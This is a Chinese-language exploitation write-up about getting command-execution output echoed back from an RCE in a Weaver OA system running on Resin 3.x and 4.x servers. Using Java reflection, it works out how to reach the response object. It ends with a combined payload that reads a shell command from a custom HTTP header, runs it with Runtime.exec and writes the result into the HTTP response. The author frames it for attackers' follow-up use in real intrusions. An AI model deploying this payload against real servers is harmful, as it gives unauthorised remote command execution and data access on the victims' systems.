某微RCE回显利用分析

​ 最近某微爆出RCE漏洞,本想着通过相对路径写入shell,但是不知是什么原因,在实际渗透中并没有成功,内存马这里也考虑了一下,但是由于这里的利用需要将class经过BCEL编码,由于无法将两个类进行BCEL编码,所以只能放弃了种内存马的想法,那目前最稳妥的方法就是获得命令执行的结果,让攻击者根据自己的需求去完成后续的利用。

Resin 4.x获取命令执行结果

​ 有大佬已经给出了在Resin 4.x中获取回显的方法了,下面我们先学习一下他的思路。

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
Class tcpsocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink"); //获取TcpSocketLink Class对象。
Method getCurrentRequestM = tcpsocketLinkClazz.getMethod("getCurrentRequest"); //通过反射得到getCurrentRequest方法
Object currentRequest = getCurrentRequestM.invoke((Object)null); //调用getCurrentRequest方法获取返回结果
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");//获取_responseFacade变量
f.setAccessible(true); //改变获取_responseFacade变量的访问权限
Object response = f.get(currentRequest);//获取response对象
Method getWriterM = response.getClass().getMethod("getWriter"); //获取getWriter方法
Writer w = (Writer)getWriterM.invoke(response); //调用getWriter获取Writer独享
w.write("powered by potatso"); //写入回显内容
} catch (Exception var11) {
var11.printStackTrace();
}

​ 我们先看看在resin 4.X中,如何获取response对象。为此我写了一个servlet并打印出到达servlet的调用栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
doGet:98, HelloWorld
service:120, HttpServlet (javax.servlet.http)
service:97, HttpServlet (javax.servlet.http)
doFilter:109, ServletFilterChain (com.caucho.server.dispatch)
doFilter:10, FirstFilter
doFilter:89, FilterFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
service:314, ServletInvocation (com.caucho.server.dispatch)
handleRequest:843, HttpRequest (com.caucho.server.http)
dispatchRequest:1395, TcpSocketLink (com.caucho.network.listen)
handleRequest:1351, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1335, TcpSocketLink (com.caucho.network.listen)
handleRequests:1243, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1037, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)

​ Response对象主要来自于com.caucho.server.http.HttpRequest#handleRequest

image-20210524155652633

com.caucho.server.http.AbstractHttpRequest#getResponseFacade中返回了Response对象。所以如果我们能获取到AbstractHttpRequest对象并调用该对象的getResponseFacade方法,即可获取response对象。

image-20210524155750330

​ 现在的目标转到获取AbstractHttpRequest对象,再查看下类的继承关系,通过下面的继承关系可以得到,想要获取AbstractHttpRequest对象,也可以获取它的子类或者父类。当然获取父类不一定就能得到AbstractHttpRequest对象,这个和具体返回的对象是什么类型有关系。要想通过反射得到对应的对象,主要还是要寻找返回类型为该对象并且由static修饰的方法。

1
2
3
4
5
6
7
8
public static ProtocolConnection
public static AbstractProtocolConnection
public static AbstractHttpRequest
public static FastCgiRequest
public static HttpRequest
public static SocketPolicyRequest
public static SocketPolicyRequest
public static HmuxRequest

image-20210524161550917

​ 经过一番搜索,只有下面的两个方法会返回ProtocolConnection对象。

image-20210524163202219

​ 先看看com.caucho.ejb.util.EjbUtil#createRequestContext方法,这个方法要返回ProtocolConnection的条件是需要user的内容不为Null,但实际上我通过反射调用该方法user为Null,因此不会返回ProtocolConnection对象。

image-20210524163936899

​ 所以只能通过com.caucho.network.listen.TcpSocketLink#getCurrentRequest来获取该对象,从_currentRequest获取对象,并且_currentRequest也是static类型的,所以可以通过反射拿到。

image-20210524164120690

image-20210524164155683

​ 但是获取的ProtocolConnection对象实际类型是否是我们想要的AbstractHttpRequest类型呢?可以尝试获取下。可以看到实际上获取的是HttpRequest对象。而HttpRequest对象是我们想要的AbstractHttpRequest的子类,所以是可以满足我们的要求的。

image-20210524165013268

​ 最后梳理一下Resin 4.x获取回显的思路。

1
2
3
4
1. 通过调用TcpSocketLink.getCurrentRequest()获取ProtocolConnection对象。
2. 通过调用getResponseFacade方法获取response对象。
3. 通过反射调用reponse对象的getWriter方法获取PrintWriter对象。
4. 通过PrintWriter对象的write方法写入回显内容。

Resin 3.x获取命令执行结果

​ 虽然上面的回显方案可以解决大部分问题,但是我本地搭建的泛微OA V8.0却不能使用上面的方案,经过分析在Resin 3.X系统中并没有com.caucho.network.listen.TcpSocketLink。和上面的思路类似,我们先看看在正常的使用中,系统是如何获取Response对象的。执行任意一个请求并打断点,可以看到并不是通过TcpSocketLink类到Request请求的。

image-20210524171146487

​ 在com.caucho.server.connection.AbstractHttpRequest中可以获取response对象。

image-20210524192646646

​ 同理,查看类的继承结构,可以通过获取ServletRequest间接获取AbstractHttpRequest对象。

image-20210524192734916

​ 经过搜索可以在com.caucho.server.dispatch.ServletInvocation#getContextRequest中拿到ServletRequest对象。

image-20210524192932012

image-20210524192952083

​ 测试代码如下

1
Object currentRequest =Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke((Object)null);

image-20210524193143325

​ 获取到ServletRequest对象后,通过_response字段的内容获取到response对象。

1
2
3
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_response");
f.setAccessible(true);
Object response = f.get(currentRequest);

image-20210524193905979

​ 获取Writer并执行写入操作

1
2
3
Method getWriterM = response.getClass().getMethod("getWriter"); 
Writer w = (Writer)getWriterM.invoke(response);
w.write("test666");

​ 整体的代码如下

1
2
3
4
5
6
7
Object currentRequest =Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke((Object)null);
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_response");
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer)getWriterM.invoke(response);
w.write("test666");

image-20210525094741508

通用回显

​ 在Resin 4.X中查看是否可以通过getContextRequest获取request对象,通过TcpSocketLink.getCurrentRequest()获取ProtocolConnection对象并返回,也就是说在Resin 4.X中也可以通过ServletInvocation的getContextRequest方法获取回显。通过ServletInvocation获取request对象是版本兼容的。

image-20210525095734484

​ 虽然在 Resin 3.x和4.x都获取了request对象,但实际上获取的request对象的实际类型是不同的。

Resin 3.x

​ 在resin 3.x中获取的类型是HttpRequest对象,HttpRequest类中并没有保存_response对象,需要从父类AbstractHttpRequest中获取。

image-20210525111526652

image-20210525111704916

image-20210525111926125

​ 通过上面的分析在resin 3.x中获取response对象需要使用下面的代码。

1
Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke((Object)null).getClass().getSuperclass().getDeclaredField("_response")

Resin 4.x

在Resin 4中获取的实际类型是HttpServletRequestImpl类型。HttpServletRequestImpl中直接保存了_response对象,所以可以用HttpServletRequestImpl的类加载器直接获取response对象。

image-20210525111156669

image-20210525111305609

​ 在resin 4.x中使用下面的代码

1
Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke((Object)null).getClass().getDeclaredField("_response")

image-20210525112344783

代码整合

​ 通过上面的分析,可以通过判断获取的request对象的类型来判断resin的版本,再根据版本的不同选择不同微调代码进行回显利用。根据获取request对象的不同,通过不同的方式获取response对象。下面是从请求头获取命令执行并回显的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
try {
Field f;
Object currentRequest =Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke((Object)null);
Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.http.HttpRequest");
if(c.isInstance(currentRequest)){
f = currentRequest.getClass().getSuperclass().getDeclaredField("_response");

}else{
f = currentRequest.getClass().getDeclaredField("_response");
}
f.setAccessible(true);
Object response = f.get(currentRequest);
Method getWriterM = response.getClass().getMethod("getWriter");
Writer w = (Writer)getWriterM.invoke(response);
Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class);
String cmd = (String)getHeaderM.invoke(currentRequest, "sectest666");
Scanner s = (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\\A");
w.write(s.hasNext() ? s.next() : "");
} catch (NoSuchMethodException | IOException | IllegalAccessException | ClassNotFoundException | NoSuchFieldException | InvocationTargetException e) {
e.printStackTrace();
}